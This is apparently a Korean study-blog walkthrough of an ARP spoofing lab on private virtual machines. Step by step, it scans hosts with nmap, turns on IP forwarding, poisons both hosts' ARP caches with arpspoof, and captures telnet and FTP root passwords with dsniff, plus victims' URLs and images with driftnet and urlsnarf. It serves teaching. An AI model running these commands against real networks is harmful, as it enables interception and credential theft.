- ARP Cache Poisoning ( ARP Spoofing Attack ) 동작 방법
로컬에서 통신하고 있는 서버와 클라이언트의 IP 주소에 대한 2계층 MAC 주소를 공격자의 MAC 주소로 속여 클라이언트가 서버로 가는 패킷이나 서버에서 클라이언트로 가는 패킷을 중간에서 가로채는 공격이다.
공격자는 이 패킷을 읽고 확인한 후 정상적인 목적지로 향하도록 다시 돌려 보내 연결이 끊어지지 않고 연결되도록 유지한다.
- ARP 실습
[ 사용 툴 ]
nmap 포트 스캔닝
arpspoof ARP Spoof 사용하는 툴
driftnet urlsnarf 툴에 의한 URL 이미지 파일를 보여주는 툴
urlsnarf 웹 요청하는 URL를 잡아 주는 툴
dsniff 아이디/패스워드 잡아주는 전문 툴
webspy urlsnarf 툴에 의한 URL을 웹브라우저로 전송하는 툴
firefox 웹 표시(웹브라우저)
[ 시스템 구성도 ]
firewall ( 192.168.27.100 )
linux200 ( 192.168.27.200 )
win2008 ( 192.168.27.201 )
Kali ( 192.168.27.50 )
( win2008 )
c:\> ipconfig /all
|
Windows IP 구성 호스트 이름 . . . . . . . . : win2008 주 DNS 접미사 . . . . . . . : 노드 유형 . . . . . . . . . : 혼성 IP 라우팅 사용. . . . . . . : 아니요 WINS 프록시 사용. . . . . . : 아니요 이더넷 어댑터 로컬 영역 연결: 연결별 DNS 접미사. . . . : 설명. . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection 물리적 주소 . . . . . . . . : 00-0C-29-7D-D8-1E DHCP 사용 . . . . . . . . . : 아니요 자동 구성 사용. . . . . . . : 예 IPv4 주소 . . . . . . . . . : 192.168.27.201(기본 설정) 서브넷 마스크 . . . . . . . : 255.255.255.0 기본 게이트웨이 . . . . . . : 192.168.27.100 DNS 서버. . . . . . . . . . : 168.126.63.1 Tcpip를 통한 NetBIOS. . . . : 사용 터널 어댑터 isatap.{25111101-487D-4A0C-ACF3-13BE87CA87B3}: 미디어 상태 . . . . . . . . : 미디어 연결 끊김 연결별 DNS 접미사. . . . : 설명. . . . . . . . . . . . : Microsoft ISATAP Adapter 물리적 주소 . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP 사용 . . . . . . . . . : 아니요 자동 구성 사용. . . . . . . : 예 |
|
c:\> arp -a
|
ARP 항목을 찾을 수 없습니다. |
|
-> 다른 서버의 정보가 들어있다면 삭제합니다.
-> arp -d
( linux200 )
# ipconfig eth0
|
eth0 Link encap:Ethernet HWaddr 00:0C:29:78:75:EC inet addr:192.168.27.200 Bcast:192.168.27.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe78:75ec/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:43 errors:0 dropped:0 overruns:0 frame:0 TX packets:54 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:4192 (4.0 KiB) TX bytes:6928 (6.7 KiB) |
|
# arp -an
-> 다른 서버의 정보가 들어있다면 삭제합니다.
-> arp -d <IP>
( Kali Linux )
# nmap -F 192.168.27.0/24 /* 연결된 모든 정보 확인한다. */
|
Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-18 19:47 KST mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.27.100 Host is up (0.00014s latency). Not shown: 98 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 00:0C:29:7C:D6:F0 (VMware) Nmap scan report for 192.168.27.200 Host is up (0.00014s latency). Not shown: 98 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 00:0C:29:78:75:EC (VMware) Nmap scan report for 192.168.27.201 Host is up (0.00021s latency). Not shown: 91 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown MAC Address: 00:0C:29:7D:D8:1E (VMware) Nmap scan report for 192.168.27.50 Host is up (0.0000030s latency). All 100 scanned ports on 192.168.27.50 are closed Nmap done: 256 IP addresses (4 hosts up) scanned in 3.22 seconds |
|
# vi /etc/sysctl.conf /* IPv4 Forwarding 기능 ON 영구적으로 기능 설정*/
net.ipv4.ip_forward=0 /* OFF */
net.ipv4.ip_forward=1 /* ON */
[참고] 일시적으로 기능 설징
OFF
# echo 0 > /proc/sys/net/ipv4/ip_forward
# sysctl -w net.ipv4.ip_forward=0
ON
# echo 1 > /proc/sys/net/ipv4/ip_forward
# sysctl -w net.ipv4.ip_forward=1
# sysctl -p ( # sysctl -p /etc/sysctl.cont ) /* 설정 적용 */
|
net.ipv4.ip_forward = 1 |
|
-> 리눅스와 달리 설정된것이 하나도 없다. 칼리리눅스는 모든 설정을 직접 해줘야한다.
# arpspoof --help
|
arpspoof: invalid option -- '-' Version: 2.4 Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host |
|
# man arpspoof
[TERM1] # wireshark &
[TERM2] # arpspoof -i eth1 -t 192.168.27.200 192.168.27.201
|
0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40 0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40 0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40 0:c:29:44:9:40 0:c:29:78:75:ec 0806 42: arp reply 192.168.27.201 is-at 0:c:29:44:9:40 ....중략..... |
|
-> interface : eth1 target : 192.168.27.200 ( linux200 ) host : 192.168.27.201 ( win2008 )
-> eth1 으로 192.168.27.200 서버에게 192.168.27.201 서버의 MAC Address 가 자신이라고 reply 계속 전송
-> 0:c:29:44:9:40 ( Kali Mac ) 0:c:29:78:75:ec ( linux200 Mac)
[TERM3] # arpspoof -i eth1 -t 192.168.27.201 192.168.27.200
|
0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40 0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40 0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40 0:c:29:44:9:40 0:c:29:7d:d8:1e 0806 42: arp reply 192.168.27.200 is-at 0:c:29:44:9:40 ....중략...... |
|
-> interface : eth1 target : 192.168.27.201 ( win2008 ) host : 192.168.27.200 ( linux200 )
-> eth1 으로 192.168.27.201 서버에게 192.168.27.200 서버의 MAC Address 가 자신이라고 reply 계속 전송
-> 0:c:29:44:9:40 ( Kali MAC ) 0:c:29:7d:d8:1e ( win2008 MAC )
wireshark 확인
eth1 클릭
- ARP 가 200과 201에 계속해서 보내진다.
( linux200 )
# arp -an
|
win2008 (192.168.27.201) at 00:0C:29:44:09:40 [ether] on eth0 |
|
-> win2008 의 MAC Address가 Kali MAC Address 로 저장되었다.
( win2008 )
c:\> arp -a
|
인터페이스: 192.168.27.201 --- 0xb 인터넷 주소 물리적 주소 유형 192.168.27.200 00-0c-29-44-09-40 동적 192.168.27.255 ff-ff-ff-ff-ff-ff 정적 |
|
-> linux200의 MAC Address가 Kali MAC Address 로 저장되었다.
( kali )
[TERM4] # dsniff -i eth1 -t 23/tcp=telnet host 192.168.27.201
/* eth1로 23 telnet 통신하는 것을 뽑아서 본다. win2008 */
( win2008 )
telnet으로 linux200에 접속해본다.
c:\> telnet 192.168.27.200
root
비밀번호
# ls
# exit
( kali )
-> telnet 은 평문 전송이므로 타이핑 한거 모두 다 나온다. root 의 암호도 쉽게 알아낼 수 있다.
[TERM4] # dsniff -i eth1 -t 21/tcp=ftp host 192.168.20.201 /* 21 포트로 들어가는것을 빼낸다*/
( win2008 )
c:\> ftp 192.168.27.200
( kali )
-> ftp 또한 평문 전송이므로 root 암호 또한 쉽게 노출된다.
[TERM4] # driftnet -i eth1 /* 클라이언트가 요청한 이미지 확인 창이 하나 뜬다.*/
[TERM5] # urlsnarf -i eth1 /* url을 가져온다. */
( win2008 )
인터넷으로 이미지를 검색해본다.
( kali )
-> 클라이언트가 보고있는 이미지가 나온다 ( 조금 느림 )
-> 클라이언트가 보고있는 url을 가져온다. 저 주소를 복사해 접속하면 클라이언트가 어떤 사이트를 보고있었는지 알 수 있다.
'Security > Network Security' 카테고리의 다른 글
ICMP 패킷 분석 (0) | 2017.10.18 |
---|---|
ARP Spoofing 방어 방법 (0) | 2017.10.18 |
ARP 동작 확인 (0) | 2017.10.17 |
이더넷 프레임 구조확인 (0) | 2017.10.17 |
보안 기초 용어 (0) | 2017.10.16 |